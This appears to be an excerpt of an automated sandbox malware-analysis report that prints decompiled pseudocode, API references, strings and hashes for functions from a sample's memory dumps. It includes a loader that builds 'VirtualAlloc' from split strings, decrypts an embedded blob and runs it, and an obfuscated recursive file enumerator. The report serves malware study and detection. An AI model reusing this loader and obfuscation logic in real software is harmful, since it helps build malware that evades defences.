				void* _t455;

				_t374 = __ebx;
				E01159520(0x1af0);
				_t260 =  *0x1169060; // 0xce125272
				_v8 = _t260 ^ _t454;
				_v6848 = _v6848 & 0x00000000;
				_t262 = _a4;
				_t386 = _a8;
				_t445 = 0;
				_v6860 = _t262;
				_t436 = 0;
				_v6868 = _t386;
				_v6852 = 0;
				if(_a12 != 0) {
					__eflags = _t386;
					if(__eflags != 0) {
						_t388 = _t262;
						_t428 = _t262 >> 5;
						_t390 = (_t388 & 0x0000001f) << 6;
						_v6876 = _t428;
						_push(__ebx);
						_t429 =  *(0x116b450 + _t428 * 4);
						_v6880 = _t390;
						_t377 =  *((intOrPtr*)(_t390 + _t429 + 0x24)) +  *((intOrPtr*)(_t390 + _t429 + 0x24)) >> 1;
						__eflags = _t377 - 2;
						if(_t377 == 2) {
							L6:
							__eflags =  !_a12 & 0x00000001;
							if(__eflags != 0) {
								_t262 = _v6860;
								L9:
								__eflags =  *(_t390 + _t429 + 4) & 0x00000020;
								if(( *(_t390 + _t429 + 4) & 0x00000020) != 0) {
									E0115A6E1(_t390, _t262, 0, 0, 2);
									_t455 = _t455 + 0x10;
								}
								_t265 = E01156CA0(_v6860);
								__eflags = _t265;
								if(_t265 == 0) {
									L50:
									_t392 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
									_t268 = _v6880;
									__eflags =  *(_t268 + _t392 + 4) & 0x00000080;
									if(( *(_t268 + _t392 + 4) & 0x00000080) == 0) {
										_t429 =  &_v6884;
										_t269 = WriteFile( *(_t268 + _t392), _v6868, _a12,  &_v6884, 0);
										__eflags = _t269;
										if(_t269 == 0) {
											goto L49;
										}
										_t445 = _v6884;
										_t436 = 0;
										goto L62;
									}
									_t429 = _v6868;
									_v6864 = 0;
									__eflags = _t377;
									if(_t377 != 0) {
										_t398 = _t429;
										__eflags = _t377 - 2;
										if(_t377 != 2) {
											_v6860 = _t398;
											_t380 = _a12;
											__eflags = _t380;
											if(_t380 == 0) {
												goto L99;
											}
											_v6896 = 0xa;
											do {
												_v6892 = _v6892 & 0x00000000;
												_t280 =  &_v6844;
												_t439 = _v6860;
												_t399 = _t398 - _t429;
												__eflags = _t399;
												_t429 = _v6892;
												do {
													__eflags = _t399 - _t380;
													if(_t399 >= _t380) {
														break;
													}
													_t451 =  *_t439 & 0x0000ffff;
													_t399 = _t399 + 2;
													_t439 =  &(_t439[1]);
													_v6860 = _t439;
													__eflags = _t451 - _v6896;
													if(_t451 == _v6896) {
														_t440 = 0xd;
														 *_t280 = _t440;
														_t280 =  &(_t280[0]);
														_t439 = _v6860;
														_t429 = _t429 + 2;
														__eflags = _t429;
													}
													 *_t280 = _t451;
													_t429 = _t429 + 2;
													_t280 =  &(_t280[0]);
													__eflags = _t429 - 0x6a8;
												} while (_t429 < 0x6a8);
												asm("cdq");
												_t285 = WideCharToMultiByte(0xfde9, 0,  &_v6844, _t280 -  &_v6844 - _t429 >> 1,  &_v3432, 0xd55, 0, 0);
												_t445 = _v6852;
												_t436 = _v6864;
												_v6856 = _t285;
												_t286 = _t285;
												__eflags = _t286;
												if(_t286 == 0) {
													goto L49;
												}
												_t402 = 0;
												__eflags = 0;
												_v6852 = 0;
												while(1) {
													_t429 =  &_v6884;
													_t292 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &(( &_v3432)[_t402]), _t286 - _t402,  &_v6884, 0);
													__eflags = _t292;
													if(_t292 == 0) {
														break;
													}
													_t402 = _v6852 + _v6884;
													_t286 = _v6856;
													_v6852 = _t402;
													__eflags = _t286 - _t402;
													if(_t286 > _t402) {
														continue;
													}
													L92:
													__eflags = _t295 - _t404;
													if(_t295 > _t404) {
														goto L62;
													}
													goto L93;
												}
												_t294 = GetLastError();
												_t404 = _v6852;
												_t436 = _t294;
												_t295 = _v6856;
												_v6864 = _t436;
												goto L92;
												L93:
												_t398 = _v6860;
												_t450 = _t398;
												_t429 = _v6868;
												_t445 = _t450 - _t429;
												_v6852 = _t445;
												__eflags = _t445 - _t380;
											} while (_t445 < _t380);
											goto L62;
										}
										__eflags = _a12 - _t445;
										if(_a12 <= _t445) {
											goto L99;
										}
										_v6896 = 0xa;
										do {
											_v6892 = _v6892 & 0x00000000;
											_t381 =  &_v5136;
											_t297 = _t398 - _t429;
											__eflags = _t297;
											_t429 = _v6892;
											_t452 = 0xd;
											do {
												__eflags = _t297 - _a12;
												if(_t297 >= _a12) {
													break;
												}
												_t441 =  *_t398 & 0x0000ffff;
												_t297 = _t297 + 2;
												_t398 =  &(_t398[1]);
												__eflags = _t441 - _v6896;
												if(_t441 == _v6896) {
													_v6848 = _v6848 + 2;
													 *_t381 = _t452;
													_t381 =  &(_t381[0]);
													_t429 = _t429 + 2;
													__eflags = _t429;
												}
												 *_t381 = _t441;
												_t429 = _t429 + 2;
												_t381 =  &(_t381[0]);
												__eflags = _t429 - 0x13fe;
											} while (_t429 < 0x13fe);
											_v6856 = _t398;
											_t382 = _t381 -  &_v5136;
											_t303 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v5136, _t382,  &_v6884, 0);
											_t445 = _v6852;
											_t436 = _v6864;
											__eflags = _t303;
											if(_t303 == 0) {
												goto L49;
											}
											_t445 = _t445 + _v6884;
											_v6852 = _t445;
											__eflags = _v6884 - _t382;
											if(_v6884 < _t382) {
												goto L62;
											}
											_t398 = _v6856;
											_t305 = _t398;
											_t429 = _v6868;
											__eflags = _t305 - _t429 - _a12;
										} while (_t305 - _t429 < _a12);
										goto L62;
									}
									_v6860 = _t429;
									_t384 = _a12;
									__eflags = _t384;
									if(_t384 == 0) {
										goto L99;
									} else {
										goto L53;
									}
									do {
										L53:
										_t442 =  &_v5136;
										_v6856 = 0;
										_t308 = _t429 - _v6868;
										__eflags = _t308;
										do {
											__eflags = _t308 - _t384;
											if(_t308 >= _t384) {
												break;
											}
											_t409 =  *_t429;
											_t308 = _t308 + 1;
											_v6885 = _t409;
											__eflags = _t409 - 0xa;
											_v6860 = _t429 + 1;
											_t410 = _v6856;
											if(_t409 == 0xa) {
												_v6848 = _v6848 + 1;
												 *_t442 = 0xd;
												_t442 = _t442 + 1;
												_t410 = _t410 + 1;
												__eflags = _t410;
											}
											 *_t442 = _v6885;
											_t442 = _t442 + 1;
											_t429 = _v6860;
											_t411 = _t410 + 1;
											_v6856 = _t411;
											__eflags = _t411 - 0x13ff;
										} while (_t411 < 0x13ff);
										_t443 = _t442 -  &_v5136;
										_t314 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v5136, _t443,  &_v6884, 0); // executed
										__eflags = _t314;
										if(_t314 == 0) {
											goto L49;
										}
										_t445 = _t445 + _v6884;
										__eflags = _v6884 - _t443;
										if(_v6884 < _t443) {
											break;
										}
										_t429 = _v6860;
										_t315 = _t429;
										__eflags = _t315 - _v6868 - _t384;
									} while (_t315 - _v6868 < _t384);
									_t436 = _v6864;
									goto L62;
								} else {
									_t412 = _v6880;
									_t318 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
									__eflags =  *(_t412 + _t318 + 4) & 0x00000080;
									if(( *(_t412 + _t318 + 4) & 0x00000080) == 0) {
										goto L50;
									}
									_t319 = E0114C25F();
									__eflags =  *( *((intOrPtr*)(_t319 + 0x6c)) + 0xa8);
									_v6856 = 0 |  *( *((intOrPtr*)(_t319 + 0x6c)) + 0xa8) == 0x00000000;
									_t324 = GetConsoleMode( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v6892);
									__eflags = _t324;
									if(_t324 == 0) {
										goto L50;
									}
									__eflags = _v6856 - _t445;
									if(_v6856 == _t445) {
										L16:
										_t326 = GetConsoleCP();
										_t429 = _v6868;
										_t416 = 0;
										_v6860 = _v6860 & 0;
										_v6900 = _t326;
										_v6864 = 0;
										_v6872 = _t429;
										__eflags = _a12;
										if(_a12 <= 0) {
											L99:
											__eflags =  *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4)) + 4) & 0x00000040;
											if(__eflags == 0) {
												L102:
												 *((intOrPtr*)(E0114C460(__eflags))) = 0x1c;
												_t276 = E0114C42C(__eflags);
												 *_t276 =  *_t276 & 0x00000000;
												__eflags =  *_t276;
												L103:
												L105:
												_pop(_t374);
												L106:
												_pop(_t437);
												_pop(_t448);
												_t272 = E0114942B(_t374, _v8 ^ _t454, _t429, _t437, _t448);
												_push(_t454);
												return _t272;
											}
											__eflags =  *_t429 - 0x1a;
											if(__eflags != 0) {
												goto L102;
											}
											goto L105;
										}
										_t327 = _v6872;
										_t429 = 0;
										__eflags = 0;
										_v6852 = 0;
										_v6896 = 0xa;
										do {
											_v6856 = _v6856 & _t436;
											__eflags = _t377;
											if(_t377 != 0) {
												__eflags = _t377 - 1;
												if(_t377 == 1) {
													L38:
													_t416 =  *_t327 & 0x0000ffff;
													__eflags = _t416 - _v6896;
													_v6864 = _t416;
													_t327 =  &(_t327[1]);
													_v6856 = 0 | _t416 == _v6896;
													_t429 = _v6852 + 2;
													__eflags = _t429;
													_v6872 = _t327;
													_v6852 = _t429;
													L39:
													__eflags = _t377 - 1;
													if(_t377 == 1) {
														L41:
														_push(_t416);
														_t328 = E0115A861(_t416);
														_t416 = _v6864;
														__eflags = _t328 - _t416;
														if(_t328 != _t416) {
															L49:
															_t436 = GetLastError();
															L62:
															_t393 = _v6848;
															L63:
															_t446 = _t445;
															__eflags = _t446;
															if(_t446 != 0) {
																__eflags = _t446 - _t393;
																goto L105;
															}
															__eflags = _t436;
															if(_t436 == 0) {
																_t429 = _v6868;
																goto L99;
															}
															_t378 = 5;
															__eflags = _t436 - _t378;
															if(__eflags != 0) {
																_t276 = E0114C43F(_t436);
															} else {
																 *((intOrPtr*)(E0114C460(__eflags))) = 9;
																 *(E0114C42C(__eflags)) = _t378;
															}
															goto L103;
														}
														_t445 = _t445 + 2;
														__eflags = _v6856 - _t436;
														if(_v6856 == _t436) {
															L45:
															_t429 = _v6852;
															_t327 = _v6872;
															goto L46;
														}
														_t364 = 0xd;
														_push(_t364);
														_v6864 = _t364;
														_t365 = E0115A861(_t416);
														_t416 = _v6864;
														__eflags = _t365 - _t416;
														if(_t365 != _t416) {
															goto L49;
														}
														_t445 = _t445 + 1;
														_t130 =  &_v6848;
														 *_t130 = _v6848 + 1;
														__eflags =  *_t130;
														goto L45;
													}
													__eflags = _t377 - 2;
													if(_t377 != 2) {
														goto L46;
													}
													goto L41;
												}
												__eflags = _t377 - 2;
												if(_t377 != 2) {
													goto L39;
												}
												goto L38;
											}
											_t429 =  *_t327;
											_t418 = _v6880;
											__eflags = _t429 - 0xa;
											_v6892 = 0 | _t429 == 0x0000000a;
											_t332 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
											_v6856 = _t332;
											__eflags =  *((intOrPtr*)(_t418 + _t332 + 0x38)) - _t436;
											if( *((intOrPtr*)(_t418 + _t332 + 0x38)) == _t436) {
												_push(_t429);
												_t334 = E011572BA();
												__eflags = _t334;
												if(_t334 == 0) {
													_push(1);
													_push(_v6872);
													L26:
													_push( &_v6864);
													_t337 = E0115A849();
													_t455 = _t455 + 0xc;
													__eflags = _t337 - 0xffffffff;
													if(_t337 == 0xffffffff) {
														goto L62;
													}
													_t338 = _v6872;
													L28:
													_v6852 = _v6852 + 1;
													_v6872 = _t338 + 1;
													_t342 = WideCharToMultiByte(_v6900, 0,  &_v6864, 1,  &_v16, 5, 0, 0);
													_v6856 = _t342;
													__eflags = _t342;
													if(_t342 == 0) {
														goto L62;
													}
													_t346 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v16, _t342,  &_v6860, 0);
													__eflags = _t346;
													if(_t346 == 0) {
														goto L49;
													}
													_t393 = _v6848;
													_t445 = _v6852 + _t393;
													__eflags = _v6860 - _v6856;
													if(_v6860 < _v6856) {
														goto L63;
													}
													__eflags = _v6892 - _t436;
													if(_v6892 == _t436) {
														L35:
														_t416 = _v6864;
														goto L45;
													}
													_v16 = 0xd;
													_t352 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v16, 1,  &_v6860, 0);
													__eflags = _t352;
													if(_t352 == 0) {
														goto L49;
													}
													__eflags = _v6860 - 1;
													if(_v6860 < 1) {
														goto L62;
													}
													_v6848 = _v6848 + 1;
													_t445 = _t445 + 1;
													__eflags = _t445;
													goto L35;
												}
												_t429 = _v6872;
												__eflags = _v6868 - _t429 + _a12 - 1;
												if(_v6868 - _t429 + _a12 <= 1) {
													_t385 = _v6876;
													_t445 = _t445 + 1;
													_t356 =  *_t429;
													_t429 = _v6880;
													 *((char*)(_t429 +  *((intOrPtr*)(0x116b450 + _t385 * 4)) + 0x34)) = _t356;
													 *(_t429 +  *((intOrPtr*)(0x116b450 + _t385 * 4)) + 0x38) = 1;
													goto L62;
												}
												_t359 = E0115A849( &_v6864, _t429, 2);
												_t455 = _t455 + 0xc;
												__eflags = _t359 - 0xffffffff;
												if(_t359 == 0xffffffff) {
													goto L62;
												}
												_t338 = _v6872 + 1;
												_v6852 = _v6852 + 1;
												goto L28;
											}
											_v16 =  *((intOrPtr*)(_t418 + _t332 + 0x34));
											_v15 = _t429;
											_push(2);
											 *((intOrPtr*)(_t418 + _v6856 + 0x38)) =  *(_t418 + _v6856 + 0x38) & _t436;
											_push( &_v16);
											goto L26;
											L46:
											__eflags = _t429 - _a12;
										} while (_t429 < _a12);
										goto L62;
									}
									__eflags = _t377;
									if(_t377 == 0) {
										goto L50;
									}
									goto L16;
								}
							}
							 *(E0114C42C(__eflags)) =  *_t367 & _t445;
							 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
							_t276 = E0114B5F1();
							goto L103;
						}
						__eflags = _t377 - 1;
						if(_t377 != 1) {
							goto L9;
						}
						goto L6;
					}
					 *(E0114C42C(__eflags)) =  *_t369 & 0;
					 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
					E0114B5F1();
					goto L106;
				}
				goto L106;
			}

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60414f5cd0b4454671cef441136db806d183363ef70b0e7685bc216fc8f191d
Instruction ID: 42595b5ed058a01709f086d7e523a2afdf77cf3ad7ea35d79f61dbedc76e723b
Opcode Fuzzy Hash: c60414f5cd0b4454671cef441136db806d183363ef70b0e7685bc216fc8f191d
Instruction Fuzzy Hash: 22327E75B02229CBDB68CF58DD80AE9B7B5FB06318F0841D9E91AA7A44D7305A81CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00E61030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00E64054,00E64040), ref: 00E61047
GetProcAddress.KERNEL32(00000000), ref: 00E6104E

Part of subcall function 00E61B30: SetLastError.KERNEL32(0000000D,?,00E61070,?,00000040), ref: 00E61B3D

SetLastError.KERNEL32(000000C1), ref: 00E61096

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 50f539d2c7b8a248959674d335184dc4bc9b951266664ec8bc8ef1d1f7ce4a7f
Instruction ID: d47add9224da1a7f1500b65e06b92e2eed0a5f795b2915d2078a3f0f725ff272
Opcode Fuzzy Hash: 50f539d2c7b8a248959674d335184dc4bc9b951266664ec8bc8ef1d1f7ce4a7f
Instruction Fuzzy Hash: E5F126B4E41208EFDB44CF94E984AAEBBB1BF48344F249598E915BB351D730EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01143BC0, Relevance: 15.2, APIs: 1, Strings: 9, Instructions: 190
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E01143BC0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				char _v32;
				char _v56;
				char _v80;
				char _v104;
				void* _v108;
				signed int _v112;
				void* _v116;
				long _v120;
				void* _v124;
				void* _v128;
				void* _v132;
				void* _v136;
				intOrPtr _v140;
				void* _v144;
				void* _v148;
				char _v152;
				void* _v156;
				void* _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _t73;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t103;
				intOrPtr _t106;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t116;
				void* _t148;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				void* _t157;

				_t148 = __esi;
				_t147 = __edi;
				_t119 = __ebx;
				_t73 =  *0x1169060; // 0xce125272
				_v8 = _t73 ^ _t149;
				_v156 = 0;
				_v152 = 0x115fc7c;
				_v108 = 0;
				_v112 = 0;
				_push("fDFFGDSRTDSGFDSFSGDfgd");
				E011455D0( &_v56);
				_push("D$ERdyhurg778r8t647386FGDSFGSDGFdfg");
				E011455D0( &_v32);
				_t122 =  &_v56;
				E01145030(__ebx, __edi,  &_v80,  &_v56,  &_v32);
				_t151 = _t150 + 0xc;
				_v164 = 0x6fc10000;
				_v136 = 0xc9da2704;
				_t79 = E01144C40( &_v56); // executed
				if(_t79 == 0) {
					_push("Virtua");
					E01146110( &_v56);
					_push("lAlloc");
					E01146110( &_v32);
					_t116 = E01145030(__ebx, __edi,  &_v104,  &_v56,  &_v32);
					_t151 = _t151 + 0xc;
					E01146060( &_v80, _t116);
					_t122 =  &_v104;
					E01145D60( &_v104);
					_v164 = 0x21;
					_v136 = 0;
				}
				_v128 = 0;
				_v116 = 0;
				_v120 = 0;
				_v144 = 0;
				_v124 = 0;
				_t80 = E01144C40(_t122); // executed
				if(_t80 != 0) {
					L8:
					_t81 = E011441F0(_t119, _t147, _t148, _t162, 0x22e5, 0x7b, 0x409,  &_v120);
					_t152 = _t151 + 0x10;
					_v128 = _t81;
					if(_v128 != 0) {
						_push("64");
						_push(E01149EDA());
						_t103 = E01149EDA();
						_t152 = _t152 + 8;
						_v116 = VirtualAlloc(0, _v120, _t103 | 0x00001000, "8192");
					}
					if(_v116 != 0) {
						_v144(_v128, _v120, "QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy", 0x53, _v116, _v136);
						_t152 = _t152 + 0x18;
					}
					_v160 = _v116;
					_v168 = _v160();
					_t141 =  &_v112;
					_v108 = E01143E90(_v156, _v156,  &_v152,  &_v112);
					if(_v108 >= 0) {
						__eflags = _v112 & 0x00000002;
						if(__eflags == 0) {
							_t127 = _v112 & 0x00000004;
							__eflags = _v112 & 0x00000004;
							if(__eflags == 0) {
								_t141 = _v112 & 0x00000008;
								__eflags = _v112 & 0x00000008;
								if(__eflags != 0) {
									_v108 = E01141850(_t119, _t127, __eflags);
								}
							} else {
								_v108 = E01141F70(_t119, _t147, _t148, __eflags);
							}
						} else {
							_v108 = E01142CB0(_t119, __eflags);
						}
						__eflags = _v108;
						if(_v108 < 0) {
							E01148840(_t141, 0x73);
						} else {
							E01148840(_t141, 0x72);
						}
					} else {
						_t141 = _v112 & 0x00000001;
						if((_v112 & 0x00000001) != 0) {
							E01148810();
						}
					}
					if(_v108 < 0) {
						_v132 = 0;
					} else {
						_v132 = 1;
					}
					_v148 = _v132;
					E01145D60( &_v80);
					E01145D60( &_v32);
					E01145D60( &_v56);
					return E0114942B(_t119, _v8 ^ _t149, _t141, _t147, _t148);
				}
				_t106 = E011440E0(L"kernel32.dll");
				_t157 = _t151 + 4;
				_v140 = _t106;
				if(_v140 != 0) {
					_push(E01147350( &_v80));
					_push(_v140);
					_t112 = E01144140();
					_t157 = _t157 + 8;
					_v124 = _t112;
				}
				_t162 = _v124;
				if(_v124 != 0) {
					_push(E011452A0);
					_push(0x115fc7e);
					_t108 = E01144C90();
					_t157 = _t157 + 8;
					E01146130(_t108, 0x116b938); // executed
				}
				_push("XAdsfcghjdYUTWTFyFSGSFGH");
				_push(0x1140000);
				_t107 = E01144140();
				_t151 = _t157 + 8;
				_v144 = _t107;
				goto L8;
			}

APIs

Part of subcall function 01144C40: CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000000), ref: 01144C57

VirtualAlloc.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,?,D$ERdyhurg778r8t647386FGDSFGSDGFdfg,fDFFGDSRTDSGFDSFSGDfgd), ref: 01143D7D

Part of subcall function 01142CB0: CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 01142DF7
Part of subcall function 01142CB0: GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 01142E0C

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

Strings

QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy, xrefs: 01143D96
XAdsfcghjdYUTWTFyFSGSFGH, xrefs: 01143D1D
D$ERdyhurg778r8t647386FGDSFGSDGFdfg, xrefs: 01143C02
lAlloc, xrefs: 01143C4D
Virtua, xrefs: 01143C40
8192, xrefs: 01143D64
kernel32.dll, xrefs: 01143CC2
!, xrefs: 01143C7F
fDFFGDSRTDSGFDSFSGDfgd, xrefs: 01143BF5

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AcquireAllocContextCreateCryptErrorHandleLastLoadModuleStringVirtual
String ID: !$8192$D$ERdyhurg778r8t647386FGDSFGSDGFdfg$QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy$Virtua$XAdsfcghjdYUTWTFyFSGSFGH$fDFFGDSRTDSGFDSFSGDfgd$kernel32.dll$lAlloc
API String ID: 1545065178-2029662199
Opcode ID: a271c7dca0a0dddfe0bd1e04ac4d483370c7ef7e88365530339ea43c346ad942
Instruction ID: b07c27b5f9d9bfdddff140fdd6c479da5492ab302f4241d1e4b0677745dea12a
Opcode Fuzzy Hash: a271c7dca0a0dddfe0bd1e04ac4d483370c7ef7e88365530339ea43c346ad942
Instruction Fuzzy Hash: FB716E71D102299BEB2CEFA4D845BDEBB74BF14A08F50406CE529BB281EB711A45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 004038B0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E004038B0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				signed int _t24;
				void* _t30;
				int _t34;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				signed int _t48;
				intOrPtr* _t52;
				intOrPtr _t57;
				void* _t58;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t100;

				_t93 = __ecx;
				_t97 = __edx;
				_v1640 = __ecx;
				_t22 = 0x1a9337bc;
				_t58 = _v1640;
				while(1) {
					L1:
					_t100 = _t22 - 0x1a9337bc;
					if(_t100 > 0) {
						break;
					}
					if(_t100 == 0) {
						_t22 = 0xf06d9a4;
						continue;
					} else {
						if(_t22 == 0x1c5035c) {
							if( *0x40df3c == 0) {
								 *0x40df3c = E00403DA0(_t58, E00403E40(0xef98c369), 0xb0d4dbb1, _t97);
							}
							_t34 = FindClose(_t58); // executed
							return _t34;
						}
						if(_t22 == 0xf06d9a4) {
							_t95 = E00403480(0x40d2e0);
							_t38 =  *0x40e160;
							if(_t38 == 0) {
								_t38 = E00403DA0(_t58, E00403E40(0xb2c8050f), 0xd8d12038, _t97);
								 *0x40e160 = _t38;
							}
							 *_t38( &_v524, 0x104, _t95, _t93);
							_t40 =  *0x40dddc;
							_t98 = _t98 + 0x10;
							if(_t40 == 0) {
								_t40 = E00403DA0(_t58, E00403E40(0xef98c369), 0x1d0c230b, _t97);
								 *0x40dddc = _t40;
							}
							_t94 =  *_t40();
							_t42 =  *0x40dcc4;
							if(_t42 == 0) {
								_t42 = E00403DA0(_t58, E00403E40(0xef98c369), 0x32b05876, _t97);
								 *0x40dcc4 = _t42;
							}
							 *_t42(_t94, 0, _t95);
							_t93 = _v1652;
							_t22 = 0x2bc75eed;
							continue;
						} else {
							if(_t22 != 0x123ae36f) {
								L31:
								if(_t22 != 0x35afc501) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t48 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t48 & 0x2951a6cd) + 0x1c5035c;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t97 == 0) {
											goto L11;
										} else {
											_t96 = E00403480(0x40d300);
											_t52 =  *0x40e160;
											if(_t52 == 0) {
												_t52 = E00403DA0(_t58, E00403E40(0xb2c8050f), 0xd8d12038, _t97);
												 *0x40e160 = _t52;
											}
											 *_t52( &_v1044, 0x104, _t96, _t93,  &(_v1636.cFileName));
											E004038B0( &_v1044, _t97, _a4, _a8);
											_t98 = _t98 + 0x1c;
											E00403420(_t96);
											_t22 = 0x2b16aa29;
										}
									} else {
										_t57 = _v1590;
										if(_t57 == 0 || _t57 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x2b16aa29;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x2b16aa29) {
					if( *0x40ddf0 == 0) {
						 *0x40ddf0 = E00403DA0(_t58, E00403E40(0xef98c369), 0xc79aa621, _t97);
					}
					_t24 = FindNextFileW(_t58,  &_v1636); // executed
					asm("sbb eax, eax");
					_t22 = ( ~_t24 & 0x1075e013) + 0x1c5035c;
					goto L1;
				} else {
					if(_t22 != 0x2bc75eed) {
						goto L31;
					} else {
						if( *0x40dd3c == 0) {
							 *0x40dd3c = E00403DA0(_t58, E00403E40(0xef98c369), 0xe14f4c2a, _t97);
						}
						_t30 = FindFirstFileW( &_v524,  &_v1636); // executed
						_t58 = _t30;
						if(_t58 == 0xffffffff) {
							return _t30;
						} else {
							_t22 = 0x123ae36f;
							goto L1;
						}
					}
				}
				goto L40;
			}

0x004038ba
0x004038bc
0x004038be
0x004038c2
0x004038c7
0x004038d0
0x004038d0
0x004038d0
0x004038d5
0x00000000
0x00000000
0x004038db
0x00403a7b
0x00000000
0x004038e1
0x004038e6
0x00403b37
0x00403b4f
0x00403b4f
0x00403b55
0x00000000
0x00403b55
0x004038f1
0x004039e1
0x004039e3
0x004039ea
0x004039fd
0x00403a02
0x00403a02
0x00403a16
0x00403a18
0x00403a1d
0x00403a22
0x00403a35
0x00403a3a
0x00403a3a
0x00403a41
0x00403a43
0x00403a4a
0x00403a5d
0x00403a62
0x00403a62
0x00403a6b
0x00403a6d
0x00403a71
0x00000000
0x004038f7
0x004038fc
0x00403adb
0x00403ae0
0x00000000
0x00403af0
0x00403af0
0x00403af0
0x00403902
0x00403907
0x004039bd
0x004039c6
0x004039cd
0x0040390d
0x00403913
0x00403934
0x00403936
0x00000000
0x00403938
0x00403942
0x00403944
0x0040394b
0x0040395e
0x00403963
0x00403963
0x0040397c
0x00403998
0x0040399d
0x004039a2
0x004039a7
0x004039a7
0x00403915
0x00403915
0x0040391d
0x0040392d
0x0040392d
0x00000000
0x00000000
0x00000000
0x0040391d
0x00403913
0x00000000
0x00403907
0x004038fc
0x004038f1
0x00000000
0x004038db
0x00403a8a
0x00403af8
0x00403b10
0x00403b10
0x00403b1b
0x00403b1f
0x00403b26
0x00000000
0x00403a8c
0x00403a91
0x00000000
0x00403a93
0x00403a9a
0x00403ab2
0x00403ab2
0x00403ac4
0x00403ac6
0x00403acb
0x00403b61
0x00403ad1
0x00403ad1
0x00000000
0x00403ad1
0x00403acb
0x00403a91
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00403AC4
FindNextFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00403B1B
FindClose.KERNELBASE(?), ref: 00403B55

Strings

*LO, xrefs: 00403AA6
., xrefs: 0040390D

Memory Dump Source

